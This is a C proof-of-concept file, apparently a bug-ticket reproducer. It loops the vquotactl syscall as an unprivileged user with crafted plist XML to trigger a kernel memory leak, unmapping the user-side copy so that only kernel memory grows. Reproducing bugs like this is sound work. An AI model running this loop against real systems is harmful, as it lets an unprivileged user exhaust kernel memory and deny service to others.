/*
 * DF-5683 — tight in-process driver for the sys_vquotactl() per-call leak.
 * Issues vquotactl(2) (syscall 530) directly with hand-crafted proplib XML:
 *   <plist><dict>
 *     <key>command</key><string>get usage all</string>
 *     <key>arguments</key><string>x</string>
 *   </dict></plist>
 * (the "arguments" value type is irrelevant — sys_vquotactl only checks
 *  it is present; vfs_quota.c:367-372).
 *
 * The kernel copyout path mmap()s the result into our address space
 * (_prop_object_copyout, prop_kern.c:520-531); we munmap it so the only
 * thing that grows is the KERNEL-side leak.
 *
 * Build: cc -O2 -o vq_leak_loop vq_leak_loop.c
 * Run:   ./vq_leak_loop <mount> <iterations>     (as unprivileged user)
 */
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#ifndef SYS_vquotactl
#define SYS_vquotactl 530
#endif

struct plistref {
	void   *pref_plist;
	size_t  pref_len;
};

static const char xml[] =
	"<plist><dict><key>command</key><string>get usage all</string>"
	"<key>arguments</key><string>x</string></dict></plist>";

int
main(int argc, char **argv)
{
	const char *mount = argc > 1 ? argv[1] : "/";
	long iters = argc > 2 ? atol(argv[2]) : 1000;
	long i;
	struct plistref pref;
	int rc, errors = 0;

	for (i = 0; i < iters; i++) {
		pref.pref_plist = (void *)(uintptr_t)xml;
		pref.pref_len = sizeof(xml);	/* includes NUL */
		rc = syscall(SYS_vquotactl, mount, &pref);
		if (rc != 0) {
			if (errors++ < 3)
				fprintf(stderr, "iter %ld: vquotactl rc=%d errno=%d (%s)\n",
					i, rc, errno, strerror(errno));
			if (errno == EOPNOTSUPP || errno == EFAULT || errno == EPERM)
				exit(2);
		}
		/* kernel _prop_object_copyout mapped [pref_plist, +round_page(len)) */
		if (pref.pref_plist != (void *)(uintptr_t)xml && pref.pref_plist != NULL)
			munmap(pref.pref_plist, pref.pref_len);
	}
	printf("did %ld vquotactl(get usage all) on %s, %d errors\n",
	    iters, mount, errors);
	return errors ? 1 : 0;
}
